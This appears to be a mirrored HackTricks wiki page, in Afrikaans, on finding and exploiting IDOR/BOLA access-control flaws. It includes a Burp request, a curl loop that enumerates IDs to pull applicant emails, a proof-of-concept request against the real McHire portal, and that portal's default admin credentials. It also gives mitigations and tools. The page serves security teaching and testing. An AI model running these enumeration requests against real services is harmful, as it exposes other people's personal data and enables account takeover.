mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
85 lines
4.4 KiB
Markdown
85 lines
4.4 KiB
Markdown
# IDOR (Onveilige Direkte Objektverwysing)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Onveilige Direkte Objektverwysing) / Gebroke Objektvlak Owerheid (BOLA) verskyn wanneer 'n web- of API-eindpunt 'n gebruiker-beheerde identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te verkry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te benader/wysig.
|
||
Suksesvolle uitbuiting laat normaalweg horisontale of vertikale voorregverhoging toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volle rekeningoorname of massadata-uitvloeiing.
|
||
|
||
---
|
||
## 1. Identifisering van Potensiële IDORs
|
||
|
||
1. Soek na **parameters wat 'n objek verwys**:
|
||
* Pad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* Navraag: `?id=42`, `?invoice=2024-00001`
|
||
* Liggaam / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* Koptekste / Koekies: `X-Client-ID: 4711`
|
||
2. Verkies eindpunte wat **data lees of opdateer** (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||
3. Let op wanneer identifiseerders **sekwensieel of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik.
|
||
4. Verken verborge of alternatiewe vloei (bv. *"Paradox spanlede"* skakel in aanmeldbladsye) wat ekstra API's mag blootstel.
|
||
5. Gebruik 'n **geverifieerde lae-voorreg sessie** en verander slegs die ID **terwyl jy dieselfde token/koekie hou**. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR.
|
||
|
||
### Vinige handmatige tampering (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### Geoutomatiseerde enumerasie (Burp Intruder / curl lus)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
## 2. Werklike Gevalstudie – McHire Chatbot Platform (2025)
|
||
|
||
Tydens 'n assessering van die Paradox.ai-gedrewe **McHire** werwingsportaal is die volgende IDOR ontdek:
|
||
|
||
* Eindpunt: `PUT /api/lead/cem-xhr`
|
||
* Owerheid: gebruikersessie koekie vir **enige** restaurant toetsrekening
|
||
* Liggaam parameter: `{"lead_id": N}` – 8-syfer, **volgorde** numeriese identifiseerder
|
||
|
||
Deur `lead_id` te verlaag, het die toetsers willekeurige aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruiker **JWT** wat sessie-hijacking toegelaat het, verkry. Opname van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel.
|
||
|
||
Bewys-van-konsep versoek:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
Gekombineer met **default admin credentials** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.
|
||
|
||
---
|
||
## 3. Impak van IDOR / BOLA
|
||
* Horisontale eskalasie – lees/werk by/verwyder **ander gebruikers'** data.
|
||
* Vertikale eskalasie – lae-bevoegde gebruiker verkry admin-slegs funksionaliteit.
|
||
* Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture).
|
||
* Rekening oorname deur tokens te steel of wagwoorde van ander gebruikers te reset.
|
||
|
||
---
|
||
## 4. Versagtings & Beste Praktyke
|
||
1. **Handhaaf objekvlak outorisasie** op elke versoek (`user_id == session.user`).
|
||
2. Verkies **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van outo-toegevoegde ID's.
|
||
3. Voer outorisasie **bediener-kant** uit, moenie op versteekte vormvelde of UI-beheer staatmaak nie.
|
||
4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware.
|
||
5. Voeg **spoedbeperking & logging** by om opsporing van ID's te detecteer.
|
||
6. Sekuriteitstoets elke nuwe eindpunt (eenheid, integrasie, en DAST).
|
||
|
||
---
|
||
## 5. Gereedskap
|
||
* **BurpSuite uitbreidings**: Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||
* **Github projekte**: `bwapp-idor-scanner`, `Blindy` (grootmaat IDOR jag).
|
||
|
||
## Verwysings
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
{{#include ../banners/hacktricks-training.md}}
|